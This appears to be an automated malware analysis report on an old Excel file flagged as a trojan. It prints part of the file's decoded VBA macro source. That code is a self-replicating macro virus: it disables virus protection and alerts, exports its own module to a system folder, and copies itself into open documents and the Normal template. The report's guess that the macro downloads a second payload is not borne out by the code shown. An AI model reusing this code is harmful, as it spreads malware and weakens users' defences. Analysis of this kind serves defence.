Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e0ab838715836990…

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-02-17 17:55:44 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 9d185fc4f1a0d8ccca103f8102eb6228 SHA-1: e1a09f54744036bba6290b0fa36727137df3b910 SHA-256: e0ab83871583699071a3655704b273538468d922aff407d2fd14dd32010e6013
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with multiple signatures indicating it is a trojan. The presence of AutoOpen, Auto_Open, and Auto_Close VBA macros strongly suggests that the macro code is designed to execute automatically when the Excel file is opened or closed. This macro code likely serves to download and execute a secondary payload, a common technique for malware distribution.

Heuristics 5

  • ClamAV: Xls.Trojan.Xlscan-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Xlscan-3
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15502 bytes
SHA-256: f5788b17dea4028e24305cf0a0656dcff06606e7366a253a607def8803aaeef1
Detection
ClamAV: Xls.Trojan.VCX-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Xlscan"
Declare Function GetPrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Declare Function WritePrivateProfileStringA Lib "kernel32.dll" (ByVal lpSection As String, ByVal lpSetting As String, ByVal lpValue As String, ByVal lpFileName As String) As Long
Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Declare Function RegQueryValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, ByVal lpData As String, lpcbData As Long) As Long
Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Global Const REG_DWORD As Long = 4
Global Const REG_SZ As Long = 1
Global Const HKEY_CURRENT_USER As Long = &H80000001
Global Const HKEY_LOCAL_MACHINE As Long = &H80000002
Dim k As Long
Dim s As Long
Dim u As Long
Dim a As Long
Dim b As String

Sub Auto_Close()
On Error GoTo push_data
b = String(7, 0)
s = 256
v$ = String$(s, 0)

Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayAlerts = wdAlertsNone
u = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\Microsoft\Office\8.0\Excel\Microsoft Excel", 0, KEY_ALL_ACCESS, k)
u = RegSetValueExA(k, "Options6", 0, REG_DWORD, Chr$(0), 4)
u = RegCloseKey(k)
ShowVisualBasicEditor = False
Open "c:\Windows\System\Xlscan.386" For Input As 1
Close 1
GoTo god

push_data:
Application.VBE.ActiveVBProject.VBComponents("Xlscan").Export "c:\Windows\System\Xlscan.386"

god:
On Error GoTo god_1
If ActiveDocument = "" Then GoTo god_3
With Options
.VirusProtection = False
.ConfirmConversions = False
.SaveNormalPrompt = False
End With
ActiveDocument.ReadOnlyRecommended = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "Xlscan" Then r = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "Xlscan" Then e = True
Next i
If e = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\Windows\System\Xlscan.386")
End With
End With
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
If r = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\Windows\System\Xlscan.386")
End With
End With
End If
GoTo god_1

god_3:
If Dir(Application.StartupPath + "\Xlscan.xls") = "Xlscan.xls" Then p = True
For i = 1 To ActiveWorkbook.VBProject.VBComponents.Count
If ActiveWorkbook.VBProject.VBComp
... (truncated)

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